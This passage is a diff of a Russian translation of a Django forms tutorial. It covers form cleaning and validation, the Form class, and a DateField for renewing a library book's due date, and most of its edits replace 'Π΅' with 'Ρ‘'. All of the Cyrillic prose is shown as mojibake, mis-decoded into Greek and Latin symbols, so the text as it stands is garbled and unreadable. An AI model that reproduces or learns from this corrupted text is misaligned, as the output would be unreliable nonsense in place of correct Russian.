+ <li>БвязываниС Π΄Π°Π½Π½Ρ‹Ρ… с Ρ„ΠΎΡ€ΠΌΠΎΠΉ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ Π΄Π°Π½Π½Ρ‹Π΅, Π²Π²Π΅Π΄Ρ‘Π½Π½Ρ‹Π΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ, Π° Ρ‚Π°ΠΊΠΆΠ΅ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹Π΅ ошибки, ΠΏΡ€ΠΈ пСрСотрисовкС Π² дальнСйшСм, Π±ΡƒΠ΄ΡƒΡ‚ ΠΎΡ‚Π½ΠΎΡΠΈΡ‚ΡŒΡΡ ΠΈΠΌΠ΅Π½Π½ΠΎ ΠΊ Π΄Π°Π½Π½ΠΎΠΉ Ρ„ΠΎΡ€ΠΌΠ΅, Π° Π½Π΅ ΠΊ ΠΊΠ°ΠΊΠΎΠΉ-Π»ΠΈΠ±ΠΎ Π΅Ρ‰Π΅.</li>
</ul>
</li>
<li>ΠžΡ‡ΠΈΡΡ‚ΠΊΠ° ΠΈ валидация Π΄Π°Π½Π½Ρ‹Ρ….
<ul>
<li>ΠžΡ‡ΠΈΡΡ‚ΠΊΠ° Π΄Π°Π½Π½Ρ‹Ρ…Β  - это ΠΈΡ… ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ° Π½Π° Π½Π°Π»ΠΈΡ‡ΠΈΠ΅ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹Ρ… Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ, ΠΈΠ»ΠΈ вставок Π² поля Π²Π²ΠΎΠ΄Π° (Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ очистка - это ΡƒΠ΄Π°Π»Π΅Π½ΠΈΠ΅ Π½Π΅ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Ρ‹Ρ… символов, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΡ‚Π΅Π½Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎ ΠΌΠΎΠ³ΡƒΡ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ для ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΈ врСдоносного содСрТимого Π½Π° сСрвСр), с ΠΏΠΎΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ ΠΊΠΎΠ½Π²Π΅Ρ€Ρ‚Π°Ρ†ΠΈΠ΅ΠΉ ΠΎΡ‡ΠΈΡ‰Π΅Π½Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ… Π² подходящиС Ρ‚ΠΈΠΏΡ‹ Π΄Π°Π½Π½Ρ‹Ρ… Python.</li>
- <li>Валидация провСряСт, значСния ΠΏΠΎΠ»Π΅ΠΉΒ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎΡΡ‚ΡŒ Π²Π²Π΅Π΄Π΅Π½Π½Ρ‹Ρ… Π΄Π°Ρ‚, ΠΈΡ… Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½ ΠΈ Ρ‚Π°ΠΊ Π΄Π°Π»Π΅Π΅)</li>
+ <li>Валидация провСряСт, значСния ΠΏΠΎΠ»Π΅ΠΉΒ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎΡΡ‚ΡŒ Π²Π²Π΅Π΄Ρ‘Π½Π½Ρ‹Ρ… Π΄Π°Ρ‚, ΠΈΡ… Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½ ΠΈ Ρ‚Π°ΠΊ Π΄Π°Π»Π΅Π΅)</li>
</ul>
</li>
- <li>Если ΠΊΠ°ΠΊΠΈΠ΅-Π»ΠΈΠ±ΠΎ Π΄Π°Π½Π½Ρ‹Π΅ ΡΠ²Π»ΡΡŽΡ‚ΡΡ Π½Π΅Π²Π΅Ρ€Π½Ρ‹ΠΌΠΈ, Ρ‚ΠΎ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ пСрСрисовки Ρ„ΠΎΡ€ΠΌΡ‹, Π½ΠΎ Π½Π° этот Ρ€Π°Π·, с ΡƒΠΆΠ΅ Π²Π²Π΅Π΄Π΅Π½Π½Ρ‹ΠΌΠΈ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ Π΄Π°Π½Π½Ρ‹ΠΌΠΈ ΠΈ сообщСниями ΠΎΠ± ΠΎΡˆΠΈΠ±ΠΊΠ°Ρ…, ΠΎΠΏΠΈΡΡ‹Π²Π°ΡŽΡ‰ΠΈΡ… возникшиС ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹.</li>
+ <li>Если ΠΊΠ°ΠΊΠΈΠ΅-Π»ΠΈΠ±ΠΎ Π΄Π°Π½Π½Ρ‹Π΅ ΡΠ²Π»ΡΡŽΡ‚ΡΡ Π½Π΅Π²Π΅Ρ€Π½Ρ‹ΠΌΠΈ, Ρ‚ΠΎ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ пСрСрисовки Ρ„ΠΎΡ€ΠΌΡ‹, Π½ΠΎ Π½Π° этот Ρ€Π°Π·, с ΡƒΠΆΠ΅ Π²Π²Π΅Π΄Ρ‘Π½Π½Ρ‹ΠΌΠΈ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ Π΄Π°Π½Π½Ρ‹ΠΌΠΈ ΠΈ сообщСниями ΠΎΠ± ΠΎΡˆΠΈΠ±ΠΊΠ°Ρ…, ΠΎΠΏΠΈΡΡ‹Π²Π°ΡŽΡ‰ΠΈΡ… возникшиС ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹.</li>
<li>Если всС Π΄Π°Π½Π½Ρ‹Π΅ Π²Π΅Ρ€Π½Ρ‹, Ρ‚ΠΎ исполнСниС Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹Ρ… дСйствий (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, сохранСниС Π΄Π°Π½Π½Ρ‹Ρ…, ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠ° писСм, Π²ΠΎΠ·Π²Ρ€Π°Ρ‚ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π° поиска, Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠ° Ρ„Π°ΠΉΠ»Π° ΠΈ Ρ‚Π°ΠΊ Π΄Π°Π»Π΅Π΅)</li>
<li>Когда всС дСйствия Π±Ρ‹Π»ΠΈ ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎ Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½Ρ‹, Ρ‚ΠΎ ΠΏΠ΅Ρ€Π΅Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ Π½Π° Π΄Ρ€ΡƒΠ³ΡƒΡŽ страницу.</li>
</ol>
-<p>Django прСдоставляСт нСсколько инструмСнтов ΠΈ ΠΏΡ€ΠΈΠ΅ΠΌΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠΌΠΎΠ³Π°ΡŽΡ‚ Π²Π°ΠΌ Π²ΠΎ врСмя выполнСния Π·Π°Π΄Π°Ρ‡, описанных Π²Ρ‹ΡˆΠ΅. НаиболСС Ρ„ΡƒΠ½Π΄Π°ΠΌΠ΅Π½Ρ‚Π°Π»ΡŒΠ½Ρ‹ΠΌ ΠΈΠ· Π½ΠΈΡ… являСтся класс <code>Form</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΡƒΠΏΡ€ΠΎΡ‰Π°Π΅Ρ‚ Π³Π΅Π½Π΅Ρ€Π°Ρ†ΠΈΡŽ HTML-Ρ„ΠΎΡ€ΠΌΡ‹ ΠΈ очистку/Π²Π°Π»ΠΈΠ΄Π°Ρ†ΠΈΡŽ Π΅Π΅ Π΄Π°Π½Π½Ρ‹Ρ…. Π’ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌ Ρ€Π°Π·Π΄Π΅Π»Π΅ ΠΌΡ‹ опишСм процСсс Ρ€Π°Π±ΠΎΡ‚Ρ‹ с Ρ„ΠΎΡ€ΠΌΠ°ΠΌΠΈ ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ практичСского ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π° ΠΏΠΎ созданию страницы, которая ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΡ‚ библиотСкарям ΠΎΠ±Π½ΠΎΠ²Π»ΡΡ‚ΡŒ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ ΠΊΠ½ΠΈΠ³Π°Ρ….</p>
+<p>Django прСдоставляСт нСсколько инструмСнтов ΠΈ ΠΏΡ€ΠΈΡ‘ΠΌΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠΌΠΎΠ³Π°ΡŽΡ‚ Π²Π°ΠΌ Π²ΠΎ врСмя выполнСния Π·Π°Π΄Π°Ρ‡, описанных Π²Ρ‹ΡˆΠ΅. НаиболСС Ρ„ΡƒΠ½Π΄Π°ΠΌΠ΅Π½Ρ‚Π°Π»ΡŒΠ½Ρ‹ΠΌ ΠΈΠ· Π½ΠΈΡ… являСтся класс <code>Form</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΡƒΠΏΡ€ΠΎΡ‰Π°Π΅Ρ‚ Π³Π΅Π½Π΅Ρ€Π°Ρ†ΠΈΡŽ HTML-Ρ„ΠΎΡ€ΠΌΡ‹ ΠΈ очистку/Π²Π°Π»ΠΈΠ΄Π°Ρ†ΠΈΡŽ Π΅Ρ‘ Π΄Π°Π½Π½Ρ‹Ρ…. Π’ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌ Ρ€Π°Π·Π΄Π΅Π»Π΅ ΠΌΡ‹ опишСм процСсс Ρ€Π°Π±ΠΎΡ‚Ρ‹ с Ρ„ΠΎΡ€ΠΌΠ°ΠΌΠΈ ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ практичСского ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π° ΠΏΠΎ созданию страницы, которая ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΡ‚ библиотСкарям ΠΎΠ±Π½ΠΎΠ²Π»ΡΡ‚ΡŒ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ ΠΊΠ½ΠΈΠ³Π°Ρ….</p>
<div class="note">
<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:</strong> ПониманиС Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ класс <code>Form</code> ΠΏΠΎΠΌΠΎΠΆΠ΅Ρ‚ Π²Π°ΠΌ ΠΊΠΎΠ³Π΄Π° ΠΌΡ‹ Π±ΡƒΠ΄Π΅ΠΌ Ρ€Π°ΡΡΠΌΠ°Ρ‚Ρ€ΠΈΠ²Π°Ρ‚ΡŒ классы Ρ„Ρ€Π΅ΠΉΠΌΠ²ΠΎΡ€ΠΊΠ° Django, для Ρ€Π°Π±ΠΎΡ‚Ρ‹ с Ρ„ΠΎΡ€ΠΌΠ°ΠΌΠΈ Π±ΠΎΠ»Π΅Π΅ "высокого уровня".</p>
@@ -115,13 +115,13 @@ translation_of: Learn/Server-side/Django/Forms
<h2 id="HTML-Ρ„ΠΎΡ€ΠΌΠ°_обновлСния_ΠΊΠ½ΠΈΠ³ΠΈ._Класс_Form_ΠΈ_функция_отобраТСния">HTML-Ρ„ΠΎΡ€ΠΌΠ° обновлСния ΠΊΠ½ΠΈΠ³ΠΈ. Класс Form ΠΈ функция отобраТСния</h2>
-<p>Данная Π³Π»Π°Π²Π° Π±ΡƒΠ΄Π΅Ρ‚ посвящСна процСссу создания страницы, которая ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΡ‚ библиотСкарям ΠΎΠ±Π½ΠΎΠ²Π»ΡΡ‚ΡŒ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ ΠΊΠ½ΠΈΠ³Π°Ρ… (Π² частности, Π²Π²ΠΎΠ΄ΠΈΡ‚ΡŒ Π΄Π°Ρ‚Ρƒ Π²ΠΎΠ·Π²Ρ€Π°Ρ‚Π° ΠΊΠ½ΠΈΠ³ΠΈ). Для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ это ΠΌΡ‹ создадим Ρ„ΠΎΡ€ΠΌΡƒ, которая ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΡ‚ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΠΌ Π²Π²ΠΎΠ΄ΠΈΡ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π΄Π°Ρ‚. ΠœΡ‹ ΠΏΡ€ΠΎΠΈΠ½ΠΈΡ†ΠΈΠ°Π»ΠΈΠ·ΠΈΡ€ΡƒΠ΅ΠΌ ΠΏΠΎΠ»Π΅ Π΄Π°Ρ‚ΠΎΠΉ, Ρ€Π°Π²Π½ΠΎΠΉ 3 нСдСлям, начиная с Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ дня, ΠΈ, для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ°Ρ€ΡŒ Π½Π΅ ΠΈΠΌΠ΅Π» Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ввСсти "Π½Π΅ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΡƒΡŽ" Π΄Π°Ρ‚Ρƒ, ΠΌΡ‹ Π΄ΠΎΠ±Π°Π²ΠΈΠΌ Π²Π°Π»ΠΈΠ΄Π°Ρ†ΠΈΡŽ Π²Π²Π΅Π΄Π΅Π½Π½Ρ‹Ρ… Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ, которая Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡΡ‚ΡŒ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ввСдСнная Π΄Π°Ρ‚Π° Π½Π΅ ΠΎΡ‚Π½ΠΎΡΠΈΠ»Π°ΡΡŒ ΠΊ ΠΏΡ€ΠΎΡˆΠ»ΠΎΠΌΡƒ, ΠΈΠ»ΠΈ ΠΊ слишком Π΄Π°Π»Π΅ΠΊΠΎΠΌΡƒ Π±ΡƒΠ΄ΡƒΡ‰Π΅ΠΌΡƒ. Когда Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π° "ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Π°Ρ" Π΄Π°Ρ‚Π° ΠΌΡ‹ запишСм Π΅Π΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π² ΠΏΠΎΠ»Π΅Β  <code>BookInstance.due_back</code>.</p>
+<p>Данная Π³Π»Π°Π²Π° Π±ΡƒΠ΄Π΅Ρ‚ посвящСна процСссу создания страницы, которая ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΡ‚ библиотСкарям ΠΎΠ±Π½ΠΎΠ²Π»ΡΡ‚ΡŒ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ ΠΊΠ½ΠΈΠ³Π°Ρ… (Π² частности, Π²Π²ΠΎΠ΄ΠΈΡ‚ΡŒ Π΄Π°Ρ‚Ρƒ Π²ΠΎΠ·Π²Ρ€Π°Ρ‚Π° ΠΊΠ½ΠΈΠ³ΠΈ). Для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ это ΠΌΡ‹ создадим Ρ„ΠΎΡ€ΠΌΡƒ, которая ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΡ‚ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΠΌ Π²Π²ΠΎΠ΄ΠΈΡ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π΄Π°Ρ‚. ΠœΡ‹ ΠΏΡ€ΠΎΠΈΠ½ΠΈΡ†ΠΈΠ°Π»ΠΈΠ·ΠΈΡ€ΡƒΠ΅ΠΌ ΠΏΠΎΠ»Π΅ Π΄Π°Ρ‚ΠΎΠΉ, Ρ€Π°Π²Π½ΠΎΠΉ 3 нСдСлям, начиная с Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ дня, ΠΈ, для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ°Ρ€ΡŒ Π½Π΅ ΠΈΠΌΠ΅Π» Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ввСсти "Π½Π΅ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΡƒΡŽ" Π΄Π°Ρ‚Ρƒ, ΠΌΡ‹ Π΄ΠΎΠ±Π°Π²ΠΈΠΌ Π²Π°Π»ΠΈΠ΄Π°Ρ†ΠΈΡŽ Π²Π²Π΅Π΄Ρ‘Π½Π½Ρ‹Ρ… Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ, которая Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡΡ‚ΡŒ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ввСдённая Π΄Π°Ρ‚Π° Π½Π΅ ΠΎΡ‚Π½ΠΎΡΠΈΠ»Π°ΡΡŒ ΠΊ ΠΏΡ€ΠΎΡˆΠ»ΠΎΠΌΡƒ, ΠΈΠ»ΠΈ ΠΊ слишком Π΄Π°Π»Ρ‘ΠΊΠΎΠΌΡƒ Π±ΡƒΠ΄ΡƒΡ‰Π΅ΠΌΡƒ. Когда Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π° "ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Π°Ρ" Π΄Π°Ρ‚Π° ΠΌΡ‹ запишСм Π΅Ρ‘ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π² ΠΏΠΎΠ»Π΅Β  <code>BookInstance.due_back</code>.</p>
<p>Π”Π°Π½Π½Ρ‹ΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π½Π° основС Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, Π° Ρ‚Π°ΠΊΠΆΠ΅ продСмонстрируСт Ρ€Π°Π±ΠΎΡ‚Ρƒ с классом <code>Form</code>. Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ Ρ€Π°Π·Π΄Π΅Π»Ρ‹ ΠΏΠΎΠΊΠ°ΠΆΡƒΡ‚ измСнСния, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Π°ΠΌ Π½Π°Π΄ΠΎ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΎΠ΄Π΅ΠΌΠΎΠ½ΡΡ‚Ρ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Ρ€Π°Π±ΠΎΡ‚Ρƒ Ρ„ΠΎΡ€ΠΌ Π² ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π΅ <em>LocalLibrary</em>.</p>
<h3 id="Класс_Form">Класс Form</h3>
-<p>Класс <code>Form</code> являСтся сСрдцСм систСмы Django ΠΏΡ€ΠΈ Ρ€Π°Π±ΠΎΡ‚Π΅ с Ρ„ΠΎΡ€ΠΌΠ°ΠΌΠΈ. Он опрСдСляСт поля Ρ„ΠΎΡ€ΠΌΡ‹, ΠΈΡ… располоТСниС, ΠΏΠΎΠΊΠ°Π· Π²ΠΈΠ΄ΠΆΠ΅Ρ‚ΠΎΠ², тСкстовых ΠΌΠ΅Ρ‚ΠΎΠΊ, Π½Π°Ρ‡Π°Π»ΡŒΠ½Ρ‹Ρ… Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ, Π²Π°Π»ΠΈΠ΄Π°Ρ†ΠΈΡŽ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ ΠΈ сообщСния ΠΎΠ± ΠΎΡˆΠΈΠ±ΠΊΠ°Ρ… для "Π½Π΅ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Ρ‹Ρ…" ΠΏΠΎΠ»Π΅ΠΉ (Ссли Ρ‚Π°ΠΊΠΎΠ²Ρ‹Π΅ ΠΈΠΌΠ΅ΡŽΡ‚ΡΡ). Π”Π°Π½Π½Ρ‹ΠΉ класс, ΠΊΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, прСдоставляСт ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ для отрисовки самого сСбя Π² шаблонС ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ ΠΏΡ€Π΅Π΄ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ΠΎΠ² (Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹, списки ΠΈ Ρ‚Π°ΠΊ Π΄Π°Π»Π΅Π΅), ΠΈΠ»ΠΈ для получСния значСния любого элСмСнта (позволяя Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ Π±ΠΎΠ»Π΅Π΅ Ρ‚ΠΎΡ‡Π½ΡƒΡŽ отрисовку).</p>
+<p>Класс <code>Form</code> являСтся сСрдцСм систСмы Django ΠΏΡ€ΠΈ Ρ€Π°Π±ΠΎΡ‚Π΅ с Ρ„ΠΎΡ€ΠΌΠ°ΠΌΠΈ. Он опрСдСляСт поля Ρ„ΠΎΡ€ΠΌΡ‹, ΠΈΡ… располоТСниС, ΠΏΠΎΠΊΠ°Π· Π²ΠΈΠ΄ΠΆΠ΅Ρ‚ΠΎΠ², тСкстовых ΠΌΠ΅Ρ‚ΠΎΠΊ, Π½Π°Ρ‡Π°Π»ΡŒΠ½Ρ‹Ρ… Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ, Π²Π°Π»ΠΈΠ΄Π°Ρ†ΠΈΡŽ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ ΠΈ сообщСния ΠΎΠ± ΠΎΡˆΠΈΠ±ΠΊΠ°Ρ… для "Π½Π΅ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Ρ‹Ρ…" ΠΏΠΎΠ»Π΅ΠΉ (Ссли Ρ‚Π°ΠΊΠΎΠ²Ρ‹Π΅ ΠΈΠΌΠ΅ΡŽΡ‚ΡΡ). Π”Π°Π½Π½Ρ‹ΠΉ класс, ΠΊΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, прСдоставляСт ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ для отрисовки самого сСбя Π² шаблонС ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ ΠΏΡ€Π΅Π΄ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ΠΎΠ² (Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹, списки ΠΈ Ρ‚Π°ΠΊ Π΄Π°Π»Π΅Π΅), ΠΈΠ»ΠΈ для получСния значСния любого элСмСнта (позволяя Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ Π±ΠΎΠ»Π΅Π΅ Ρ‚ΠΎΡ‡Π½ΡƒΡŽ отрисовку).</p>
<h4 id="ОбъявлСниС_класса_Ρ„ΠΎΡ€ΠΌΡ‹_Form">ОбъявлСниС класса Ρ„ΠΎΡ€ΠΌΡ‹ Form</h4>
@@ -137,7 +137,7 @@ class RenewBookForm(forms.Form):
<h4 id="Поля_Ρ„ΠΎΡ€ΠΌΡ‹">Поля Ρ„ΠΎΡ€ΠΌΡ‹</h4>
-<p>Π’Β  нашСм случаС ΠΌΡ‹ ΠΈΠΌΠ΅Π΅ΠΌ ΠΎΠ΄Π½ΠΎ ΠΏΠΎΠ»Π΅ Ρ‚ΠΈΠΏΠ° <code><a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#datefield">DateField</a></code>, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ слуТит для Π²Π²ΠΎΠ΄Π° ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½Π½ΠΎΠΉ Π΄Π°Ρ‚Ρ‹ Π²ΠΎΠ·Π²Ρ€Π°Ρ‚Π° ΠΊΠ½ΠΈΠ³ΠΈ, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚Ρ€Π΅Π½Π΄Π΅Ρ€Π΅Π½ΠΎ Π² HTML с пустым Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ ΠΈ тСкстовой ΠΌΠ΅Ρ‚ΠΊΠΎΠΉ "<em>Renewal date:</em>", Π° Ρ‚Π°ΠΊΠΆΠ΅ тСкстовым описаниСм: "<em>Enter a date between now and 4 weeks (default 3 weeks).</em>" Π’Π°ΠΊ ΠΊΠ°ΠΊ Π½ΠΈΠΊΠ°ΠΊΠΈΡ… Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… ΠΎΠΏΡ†ΠΈΠΉ ΠΌΡ‹ Π½Π΅ опрСдСляСм, Ρ‚ΠΎ ΠΏΠΎΠ»Π΅ Π±ΡƒΠ΄Π΅Ρ‚ "ΠΏΠΎΠ»ΡƒΡ‡Π°Ρ‚ΡŒ" Π΄Π°Ρ‚Ρ‹ Π² ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π΅ <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#django.forms.DateField.input_formats">input_formats</a>: YYYY-MM-DD (2016-11-06), MM/DD/YYYY (02/26/2016), MM/DD/YY (10/25/16), Π° для отрисовки ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#widget">Π²ΠΈΠ΄ΠΆΠ΅Ρ‚</a>: <a href="https://docs.djangoproject.com/en/1.10/ref/forms/widgets/#django.forms.DateInput">DateInput</a>.</p>
+<p>Π’Β  нашСм случаС ΠΌΡ‹ ΠΈΠΌΠ΅Π΅ΠΌ ΠΎΠ΄Π½ΠΎ ΠΏΠΎΠ»Π΅ Ρ‚ΠΈΠΏΠ° <code><a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#datefield">DateField</a></code>, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ слуТит для Π²Π²ΠΎΠ΄Π° ΠΎΠ±Π½ΠΎΠ²Π»Ρ‘Π½Π½ΠΎΠΉ Π΄Π°Ρ‚Ρ‹ Π²ΠΎΠ·Π²Ρ€Π°Ρ‚Π° ΠΊΠ½ΠΈΠ³ΠΈ, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚Ρ€Π΅Π½Π΄Π΅Ρ€Π΅Π½ΠΎ Π² HTML с пустым Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ ΠΈ тСкстовой ΠΌΠ΅Ρ‚ΠΊΠΎΠΉ "<em>Renewal date:</em>", Π° Ρ‚Π°ΠΊΠΆΠ΅ тСкстовым описаниСм: "<em>Enter a date between now and 4 weeks (default 3 weeks).</em>" Π’Π°ΠΊ ΠΊΠ°ΠΊ Π½ΠΈΠΊΠ°ΠΊΠΈΡ… 